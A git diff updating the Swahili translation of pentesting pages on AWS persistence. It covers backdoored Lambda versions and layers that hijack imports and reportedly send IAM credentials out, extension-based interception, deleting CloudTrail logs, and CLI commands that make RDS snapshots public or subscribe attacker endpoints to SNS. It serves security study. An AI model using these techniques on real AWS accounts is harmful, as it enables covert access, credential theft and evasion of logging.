-### Toleo la Backdoor + API Gateway +### Version Backdoor + API Gateway 1. Nakili msimbo wa asili wa Lambda 2. **Unda toleo jipya la backdooring** msimbo wa asili (au tu na msimbo mbaya). Chapisha na **peleka toleo hilo** kwa $LATEST @@ -48,7 +48,7 @@ Hivi ndivyo mshambuliaji anaweza kuunda **toleo la backdoored 1** na **toleo la 3. **Unda toleo jipya lenye msimbo wa asili**, Chapisha na peleka **toleo hilo** kwa $LATEST. 1. Hii itaficha msimbo wa backdoored katika toleo la awali 4. Nenda kwa API Gateway na **unda njia mpya ya POST** (au chagua njia nyingine yoyote) ambayo itatekeleza toleo la backdoored la lambda: `arn:aws:lambda:us-east-1::function::1` -1. Kumbuka mwisho :1 ya arn **ikiashiria toleo la kazi** (toleo 1 litakuwa la backdoored katika hali hii). +1. Kumbuka mwisho :1 wa arn **ikiashiria toleo la kazi** (toleo 1 litakuwa la backdoored katika hali hii). 5. Chagua njia ya POST iliyoundwa na katika Vitendo chagua **`Deploy API`** 6. Sasa, unapofanya **kuita kazi kupitia POST Backdoor yako** itaitwa @@ -57,8 +57,8 @@ Hivi ndivyo mshambuliaji anaweza kuunda **toleo la backdoored 1** na **toleo la Hali kwamba unaweza kufanya **kazi za lambda zifanye kazi wakati kitu kinatokea au wakati muda unapita** inafanya lambda kuwa njia nzuri na ya kawaida ya kupata kudumu na kuepuka kugunduliwa.\ Hapa kuna mawazo kadhaa ya kufanya **uwepo wako katika AWS uwe wa siri zaidi kwa kuunda lambdas**. -- Kila wakati mtumiaji mpya anapoundwa lambda inaunda ufunguo mpya wa mtumiaji na kuutuma kwa mshambuliaji. -- Kila wakati jukumu jipya linapoundwa lambda inatoa ruhusa za kudhani jukumu kwa watumiaji waliokumbwa. +- Kila wakati mtumiaji mpya anapoundwa lambda inaunda funguo mpya za mtumiaji na kuzipeleka kwa mshambuliaji. +- Kila wakati jukumu jipya linapoundwa lambda inatoa ruhusa za kudai jukumu kwa watumiaji waliokumbwa. - Kila wakati kumbukumbu mpya za cloudtrail zinapoundwa, futa/badilisha hizo. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 09a09f417..be99edc5e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -4,31 +4,31 @@ ## Lambda Extensions -Lambda extensions huongeza kazi kwa kuunganishwa na zana mbalimbali za **monitoring, observability, security, na governance**. Extensions hizi, zinazoongezwa kupitia [.zip archives kwa kutumia Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) au kujumuishwa katika [mifano ya picha za kontena](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), zinafanya kazi katika njia mbili: **internal** na **external**. +Lambda extensions huongeza kazi kwa kuunganishwa na zana mbalimbali za **monitoring, observability, security, na governance**. Extensions hizi, zinazoongezwa kupitia [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) au kujumlishwa katika [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), zinafanya kazi katika hali mbili: **internal** na **external**. -- **Internal extensions** huunganishwa na mchakato wa runtime, zikibadilisha uzinduzi wake kwa kutumia **language-specific environment variables** na **wrapper scripts**. Uboreshaji huu unatumika kwa aina mbalimbali za runtimes, ikiwa ni pamoja na **Java Correto 8 na 11, Node.js 10 na 12, na .NET Core 3.1**. +- **Internal extensions** huungana na mchakato wa runtime, zikibadilisha uzinduzi wake kwa kutumia **language-specific environment variables** na **wrapper scripts**. Uboreshaji huu unatumika kwa aina mbalimbali za runtimes, ikiwa ni pamoja na **Java Correto 8 na 11, Node.js 10 na 12, na .NET Core 3.1**. - **External extensions** zinafanya kazi kama michakato tofauti, zikihakikisha uendeshaji unalingana na mzunguko wa maisha wa kazi ya Lambda. Zinapatikana kwa runtimes mbalimbali kama **Node.js 10 na 12, Python 3.7 na 3.8, Ruby 2.5 na 2.7, Java Corretto 8 na 11, .NET Core 3.1**, na **custom runtimes**. -Kwa maelezo zaidi kuhusu [**jinsi lambda extensions zinavyofanya kazi angalia docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). +Kwa maelezo zaidi kuhusu [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). ### External Extension for Persistence, Stealing Requests & modifying Requests Hii ni muhtasari wa mbinu iliyopendekezwa katika chapisho hili: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -Ilipatikana kuwa kernel ya Linux ya default katika mazingira ya runtime ya Lambda imeandikwa kwa “**process_vm_readv**” na “**process_vm_writev**” system calls. Na michakato yote inafanya kazi na kitambulisho sawa cha mtumiaji, hata mchakato mpya ulioanzishwa kwa ajili ya external extension. **Hii inamaanisha kuwa external extension ina ufikiaji kamili wa kusoma na kuandika kwenye kumbukumbu ya Rapid, kwa muundo.** +Ilipatikana kwamba kernel ya Linux ya default katika mazingira ya runtime ya Lambda imeandikwa kwa “**process_vm_readv**” na “**process_vm_writev**” system calls. Na michakato yote inafanya kazi na kitambulisho sawa cha mtumiaji, hata mchakato mpya ulioanzishwa kwa ajili ya external extension. **Hii inamaanisha kwamba external extension ina ufikiaji kamili wa kusoma na kuandika kwenye kumbukumbu ya Rapid, kwa muundo.** -Zaidi ya hayo, ingawa Lambda extensions zina uwezo wa **kujiandikisha kwa matukio ya mwito**, AWS haifunui data halisi kwa extensions hizi. Hii inahakikisha kuwa **extensions haziwezi kufikia taarifa nyeti** zinazotumwa kupitia ombi la HTTP. +Zaidi ya hayo, ingawa Lambda extensions zina uwezo wa **kujiandikisha kwa matukio ya mwito**, AWS haifunui data halisi kwa extensions hizi. Hii inahakikisha kwamba **extensions haziwezi kufikia taarifa nyeti** zinazotumwa kupitia ombi la HTTP. Mchakato wa Init (Rapid) unafuatilia maombi yote ya API katika [http://127.0.0.1:9001](http://127.0.0.1:9001/) wakati Lambda extensions zinaanzishwa na kuendesha kabla ya utekelezaji wa msimbo wowote wa runtime, lakini baada ya Rapid.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-Kigezo **`AWS_LAMBDA_RUNTIME_API`** kinaonyesha **IP** anwani na **nambari** ya **port** ya Rapid API kwa **michakato ya runtime ya watoto** na extensions za ziada. +Kigezo **`AWS_LAMBDA_RUNTIME_API`** kinaonyesha **IP** anwani na **nambari** ya **bandari** ya Rapid API kwa **michakato ya runtime ya watoto** na extensions za ziada. > [!WARNING] -> Kwa kubadilisha kigezo cha mazingira **`AWS_LAMBDA_RUNTIME_API`** kuwa **`port`** tunayo, inawezekana kukamata vitendo vyote ndani ya runtime ya Lambda (**man-in-the-middle**). Hii inawezekana kwa sababu extension inafanya kazi na ruhusa sawa na Rapid Init, na kernel ya mfumo inaruhusu **kubadilisha kumbukumbu ya mchakato**, ikiruhusu kubadilisha nambari ya port. +> Kwa kubadilisha kigezo cha mazingira **`AWS_LAMBDA_RUNTIME_API`** kuwa **`port`** tunayo, inawezekana kukamata vitendo vyote ndani ya runtime ya Lambda (**man-in-the-middle**). Hii inawezekana kwa sababu extension inafanya kazi na ruhusa sawa na Rapid Init, na kernel ya mfumo inaruhusu **mabadiliko ya kumbukumbu ya mchakato**, ikiruhusu kubadilisha nambari ya bandari. -Kwa sababu **extensions zinafanya kazi kabla ya msimbo wowote wa runtime**, kubadilisha kigezo cha mazingira kutakuwa na athari kwenye mchakato wa runtime (mfano, Python, Java, Node, Ruby) unapoanza. Zaidi ya hayo, **extensions zilizopakiwa baada** yetu, ambazo zinategemea kigezo hiki, pia zitaelekeza kupitia extension yetu. Mpangilio huu unaweza kuwezesha malware kupita kabisa hatua za usalama au logging extensions moja kwa moja ndani ya mazingira ya runtime. +Kwa sababu **extensions zinafanya kazi kabla ya msimbo wowote wa runtime**, kubadilisha kigezo cha mazingira kutakuwa na athari kwenye mchakato wa runtime (kwa mfano, Python, Java, Node, Ruby) unapozinduliwa. Zaidi ya hayo, **extensions zilizoandikwa baada** yetu, ambazo zinategemea kigezo hiki, pia zitaelekeza kupitia extension yetu. Mpangilio huu unaweza kuwezesha malware kupita kabisa hatua za usalama au logging extensions moja kwa moja ndani ya mazingira ya runtime.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index f5de397fd..676e35e54 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -4,37 +4,37 @@ ## Lambda Layers -Layer ya Lambda ni archive ya .zip ambayo **inaweza kuwa na msimbo wa ziada** au maudhui mengine. Layer inaweza kuwa na maktaba, [runtime ya kawaida](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, au faili za usanidi. +Layer ya Lambda ni archive ya faili .zip ambayo **inaweza kuwa na msimbo wa ziada** au maudhui mengine. Layer inaweza kuwa na maktaba, [runtime ya kawaida](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, au faili za usanidi. Inawezekana kujumuisha hadi **layers tano kwa kazi**. Unapojumuisha layer katika kazi, **maudhui yanachukuliwa hadi kwenye saraka ya `/opt`** katika mazingira ya utekelezaji. -Kwa **default**, **layers** ambazo unaunda ni **binafsi** kwa akaunti yako ya AWS. Unaweza kuchagua **kushiriki** layer na akaunti nyingine au **kufanya** layer hiyo **kuwa ya umma**. Ikiwa kazi zako zinatumia layer ambayo akaunti tofauti ilichapisha, kazi zako zinaweza **kuendelea kutumia toleo la layer baada ya kufutwa, au baada ya ruhusa yako ya kufikia layer hiyo kufutwa**. Hata hivyo, huwezi kuunda kazi mpya au kuboresha kazi ukitumia toleo la layer lililofutwa. +Kwa **kawaida**, **layers** unazounda ni **binafsi** kwa akaunti yako ya AWS. Unaweza kuchagua **kushiriki** layer na akaunti nyingine au **kufanya** layer hiyo **kuwa ya umma**. Ikiwa kazi zako zinatumia layer ambayo akaunti tofauti ilichapisha, kazi zako zinaweza **kuendelea kutumia toleo la layer baada ya kufutwa, au baada ya ruhusa yako ya kufikia layer hiyo kufutwa**. Hata hivyo, huwezi kuunda kazi mpya au kusasisha kazi ukitumia toleo la layer lililofutwa. Kazi zilizowekwa kama picha ya kontena hazitumii layers. Badala yake, unapakua runtime unayopendelea, maktaba, na utegemezi mwingine ndani ya picha ya kontena unapojenga picha hiyo. ### Python load path -Njia ya kupakia ambayo Python itatumia katika lambda ni ifuatayo: +Path ya kupakia ambayo Python itatumia katika lambda ni ifuatayo: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` -Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** +Angalia jinsi **nafasi ya pili** na ya tatu **zinavyoshikiliwa** na directories ambapo **lambda layers** zinachambua faili zao: **`/opt/python/lib/python3.9/site-packages`** na **`/opt/python`** > [!CAUTION] -> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation. +> Ikiwa mshambuliaji ameweza **kurejesha** **layer** ya lambda inayotumika au **kuongeza moja** ambayo itakuwa **ikiendesha msimbo wa kawaida unapopakua maktaba**, ataweza kuendesha msimbo mbaya kwa kila mwito wa lambda. -Therefore, the requisites are: +Kwa hivyo, mahitaji ni: -- **Check libraries** that are **loaded** by the victims code -- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library. +- **Angalia maktaba** ambazo **zinapakiwa** na msimbo wa waathirika +- Unda **maktaba ya proxy na lambda layers** ambayo itakuwa **ikiendesha msimbo wa kawaida** na **kupakia maktaba ya asili**. -### Preloaded libraries +### Maktaba zilizopakiwa awali > [!WARNING] -> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\ -> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed. +> Wakati wa kutumia mbinu hii nilikumbana na ugumu: Maktaba zingine tayari **zimepakiwa** katika mazingira ya python wakati msimbo wako unatekelezwa. Nilikuwa natarajia kupata vitu kama `os` au `sys`, lakini **hata maktaba ya `json` ilikuwa imepakiwa**.\ +> Ili kutumia mbinu hii ya kudumu, msimbo unahitaji **kupakia maktaba mpya ambayo haijapakiwa** wakati msimbo unatekelezwa. -With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda: +Kwa msimbo wa python kama huu, inawezekana kupata **orodha ya maktaba ambazo zimepakiwa awali** ndani ya mazingira ya python katika lambda: ```python import sys @@ -44,22 +44,22 @@ return { 'body': str(sys.modules.keys()) } ``` -Na hii ni **orodha** (hakikisha kwamba maktaba kama `os` au `json` tayari zipo) +Na hii ni **orodha** (hakikisha kwamba maktaba kama `os` au `json` zipo tayari) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` -Na hii ni orodha ya **maktaba** ambazo **lambda inajumuisha zilizowekwa kwa chaguo-msingi**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +Na hii ni orodha ya **maktaba** ambazo **lambda inajumuisha zilizowekwa kwa default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) ### Lambda Layer Backdooring -Katika mfano huu hebu tuweke kuwa msimbo unaolengwa unatumia **`csv`**. Tunakwenda **kufanya backdoor kwenye uagizaji wa maktaba ya `csv`**. +Katika mfano huu hebu tuone kwamba msimbo unaolengwa unatumia **`csv`**. Tunakwenda **kufanya backdoor kwenye uagizaji wa maktaba ya `csv`**. -Ili kufanya hivyo, tutaunda **directory csv** yenye faili **`__init__.py`** ndani yake katika njia ambayo inapakuliwa na lambda: **`/opt/python/lib/python3.9/site-packages`**\ -Kisha, wakati lambda inatekelezwa na kujaribu kupakua **csv**, faili yetu ya **`__init__.py` itapakuliwa na kutekelezwa**.\ -Faili hii lazima: +Ili kufanya hivyo, tutaunda **directory csv** yenye faili **`__init__.py`** ndani yake katika njia ambayo inasomwa na lambda: **`/opt/python/lib/python3.9/site-packages`**\ +Kisha, wakati lambda inatekelezwa na kujaribu kupakia **csv**, faili yetu ya **`__init__.py` itasomwa na kutekelezwa**.\ +Faili hii inapaswa: -- Itekeleze payload yetu -- Ipakue maktaba ya csv asilia +- Kutekeleza payload yetu +- Kupakia maktaba ya csv asilia Tunaweza kufanya yote mawili kwa: ```python @@ -87,7 +87,7 @@ Kisha, tengeneza zip na msimbo huu katika njia **`python/lib/python3.9/site-pack Unaweza kupata msimbo huu katika [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) -Payload iliyounganishwa it **tuma IAM creds kwa seva WAKATI WA KWANZA inapoitwa au BAADA ya kurekebisha kontena la lambda** (mabadiliko ya msimbo au lambda baridi), lakini **mbinu nyingine** kama ifuatavyo zinaweza pia kuunganishwa: +Payload iliyounganishwa it **tuma IAM creds kwa seva WAKATI WA KWANZA inapoanzishwa au BAADA ya kurekebisha kontena la lambda** (mabadiliko ya msimbo au lambda baridi), lakini **mbinu nyingine** kama ifuatavyo zinaweza pia kuunganishwa: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index cb38c8483..ba864b1bf 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -10,9 +10,9 @@ Kwa maelezo zaidi angalia: ../aws-services/aws-lightsail-enum.md {{#endref}} -### Pakua Funguo za SSH za Instance & Nywila za DB +### Pakua funguo za SSH za Instance & nywila za DB -Hawatabadilishwa labda hivyo kuwa nazo ni chaguo nzuri kwa ajili ya kudumu +Haziwezi kubadilishwa labda hivyo kuwa nazo ni chaguo nzuri kwa ajili ya kudumu ### Backdoor Instances diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index 2a3490e7f..82e63e8ba 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -12,15 +12,15 @@ Kwa maelezo zaidi angalia: ### Fanya mfano uweze kupatikana hadharani: `rds:ModifyDBInstance` -Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha mfano wa RDS uliopo ili kuwezesha upatikanaji wa hadhara**. +Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha mfano wa RDS uliopo ili kuwezesha upatikanaji wa hadharani**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` -### Create an admin user inside the DB +### Unda mtumiaji wa admin ndani ya DB Mshambuliaji anaweza tu **kuunda mtumiaji ndani ya DB** hivyo hata kama nenosiri la mtumiaji mkuu limebadilishwa **hampotezi ufikiaji** wa hifadhidata. -### Make snapshot public +### Fanya picha kuwa ya umma ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index babd43c0f..13ab0b8fb 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -12,14 +12,14 @@ Kwa maelezo zaidi angalia: ### KMS Client-Side Encryption -Wakati mchakato wa usimbaji unakamilika, mtumiaji atatumia KMS API kutengeneza funguo mpya (`aws kms generate-data-key`) na at **hifadhi funguo iliyosimbwa iliyotengenezwa ndani ya metadata** ya faili ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ili wakati usimbuaji unapotokea, inaweza kusimbua tena kwa kutumia KMS: +Wakati mchakato wa usimbaji unakamilika, mtumiaji atatumia KMS API kuunda funguo mpya (`aws kms generate-data-key`) na at **hifadhi funguo iliyoundwa iliyosimbwa ndani ya metadata** ya faili ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ili wakati usimbuaji unapotokea, inaweza kuisimbua tena kwa kutumia KMS:
-Hivyo, mshambuliaji anaweza kupata funguo hii kutoka kwenye metadata na kusimbua kwa KMS (`aws kms decrypt`) ili kupata funguo iliyotumika kusimbua taarifa. Kwa njia hii, mshambuliaji atakuwa na funguo ya usimbaji na ikiwa funguo hiyo itatumika tena kusimbua faili nyingine, ataweza kuitumia. +Hivyo, mshambuliaji anaweza kupata funguo hii kutoka kwenye metadata na kuisimbua kwa KMS (`aws kms decrypt`) ili kupata funguo iliyotumika kusimbua taarifa. Kwa njia hii mshambuliaji atakuwa na funguo ya usimbuaji na ikiwa funguo hiyo itatumika tena kusimbua faili nyingine ataweza kuitumia. ### Using S3 ACLs -Ingawa kawaida ACLs za ndoo zimezimwa, mshambuliaji mwenye ruhusa za kutosha anaweza kuzitumia vibaya (ikiwa zimewezeshwa au ikiwa mshambuliaji anaweza kuzihamisha) ili kuendelea kupata ufikiaji wa ndoo ya S3. +Ingawa kawaida ACLs za ndoo zimezimwa, mshambuliaji mwenye ruhusa za kutosha anaweza kuzitumia vibaya (ikiwa zimewezeshwa au ikiwa mshambuliaji anaweza kuzifanya ziweze) ili kuendelea kupata ufikiaji wa ndoo ya S3. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index cbc87c93e..8cac01eed 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -16,7 +16,7 @@ Inawezekana **kutoa ufikiaji wa siri kwa akaunti za nje** kupitia sera za rasili ### Kupitia Lambda ya Kugeuza Siri -Ili **kugeuza siri** kiotomatiki, **Lambda** iliyowekwa inaitwa. Ikiwa mshambuliaji angeweza **kubadilisha** **kanuni** angeweza moja kwa moja **kuhamasisha siri mpya** kwake mwenyewe. +Ili **kugeuza siri** kiotomatiki, **Lambda** iliyopangwa inaitwa. Ikiwa mshambuliaji angeweza **kubadilisha** **kanuni** angeweza moja kwa moja **kuhamasisha siri mpya** kwake mwenyewe. Hii ndiyo jinsi kanuni ya lambda kwa hatua kama hiyo inaweza kuonekana: ```python diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index d5e87937f..09235d2d0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -63,11 +63,11 @@ Sera ifuatayo inawapa kila mtu katika AWS ruhusa ya kusoma na kuandika katika SN ] } ``` -### Create Subscribers +### Unda Wajumbe -Ili kuendelea kutoa ujumbe wote kutoka kwa mada zote, mshambuliaji anaweza **kuunda wanachama kwa mada zote**. +Ili kuendelea kutoa ujumbe wote kutoka kwa mada zote, mshambuliaji anaweza **kuunda wajumbe kwa ajili ya mada zote**. -Kumbuka kwamba ikiwa **mada ni ya aina ya FIFO**, ni wanachama pekee wanaotumia itifaki **SQS** wanaweza kutumika. +Kumbuka kwamba ikiwa **mada ni ya aina ya FIFO**, ni wajumbe tu wanaotumia protokali **SQS** wanaweza kutumika. ```bash aws sns subscribe --region \ --protocol http \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 5b3cd8808..944efbd30 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -12,8 +12,8 @@ Kwa maelezo zaidi angalia: ### Kutumia sera ya rasilimali -Katika SQS unahitaji kuonyesha kwa sera ya IAM **nani ana ufikiaji wa kusoma na kuandika**. Inawezekana kuonyesha akaunti za nje, ARN za majukumu, au **hata "\*"**.\ -Sera ifuatayo inawapa kila mtu katika AWS ufikiaji wa kila kitu katika foleni inayoitwa **MyTestQueue**: +Katika SQS unahitaji kuonyesha kwa sera ya IAM **nani ana ruhusa ya kusoma na kuandika**. Inawezekana kuonyesha akaunti za nje, ARN za majukumu, au **hata "\*"**.\ +Sera ifuatayo inawapa kila mtu katika AWS ruhusa ya kila kitu katika foleni inayoitwa **MyTestQueue**: ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index 3bd0aae28..281a8d909 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1 +1 @@ -# AWS - SSM Perssitence +# AWS - SSM Uendelevu diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 2c13b3e37..8cf276087 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -10,12 +10,12 @@ Kwa maelezo zaidi angalia: ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Backdooring ya Step Function +### Backdooring ya hatua -Backdoor step function ili iweze kufanya ujanja wowote wa kudumu hivyo kila wakati inatekelezwa itatekeleza hatua zako za uhalifu. +Backdoor hatua ili iweze kufanya ujanja wowote wa kudumu hivyo kila wakati inatekelezwa itatekeleza hatua zako za uhalifu. ### Backdooring ya majina -Ikiwa akaunti ya AWS inatumia majina kuita step functions, itakuwa inawezekana kubadilisha jina ili kutumia toleo jipya lililo na backdoor la step function. +Ikiwa akaunti ya AWS inatumia majina kuita hatua, itakuwa inawezekana kubadilisha jina ili kutumia toleo jipya lililo na backdoor la hatua hiyo. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 9ae86b56e..28c57308a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -10,7 +10,7 @@ Kwa maelezo zaidi tembelea: ../aws-services/aws-sts-enum.md {{#endref}} -### Token ya kuzingatia jukumu +### Assume role token Token za muda mfupi haziwezi kuorodheshwa, hivyo kudumisha token ya muda mfupi iliyo hai ni njia ya kudumisha uvumilivu. @@ -23,14 +23,14 @@ aws sts get-session-token \ # Jina la kifaa cha vifaa mara nyingi ni nambari kutoka nyuma ya kifaa, kama GAHT12345678 # Jina la kifaa cha SMS ni ARN katika AWS, kama arn:aws:iam::123456789012:sms-mfa/username -# Jina la kifaa cha Kijamii ni ARN katika AWS, kama arn:aws:iam::123456789012:mfa/username +# Jina la kifaa cha Virtual ni ARN katika AWS, kama arn:aws:iam::123456789012:mfa/username
-### Kucheza Mnyororo wa Jukumu +### Role Chain Juggling -[**Kucheza mnyororo wa jukumu ni kipengele kinachotambulika cha AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), mara nyingi hutumiwa kudumisha uvumilivu wa siri. Inahusisha uwezo wa **kuchukua jukumu ambalo kisha linachukua jingine**, huenda ikarejea kwenye jukumu la awali kwa **njia ya mzunguko**. Kila wakati jukumu linapochukuliwa, uwanja wa muda wa kuisha wa ithibati unarefresh. Kwa hivyo, ikiwa majukumu mawili yamewekwa ili kuchukua kila mmoja, mpangilio huu unaruhusu upya wa kudumu wa ithibati. +[**Kugandamiza majukumu ni kipengele kinachotambulika cha AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), mara nyingi hutumiwa kwa kudumisha uvumilivu wa siri. Inahusisha uwezo wa **kuchukua jukumu ambalo kisha linachukua jingine**, huenda ikarejea kwenye jukumu la awali kwa **njia ya mzunguko**. Kila wakati jukumu linapochukuliwa, uwanja wa muda wa kuisha wa ithibati unarefresh. Kwa hivyo, ikiwa majukumu mawili yamewekwa ili kuchukua kila mmoja, mpangilio huu unaruhusu upya wa kudumu wa ithibati. -Unaweza kutumia [**chombo hiki**](https://github.com/hotnops/AWSRoleJuggler/) kudumisha mnyororo wa jukumu: +Unaweza kutumia [**chombo 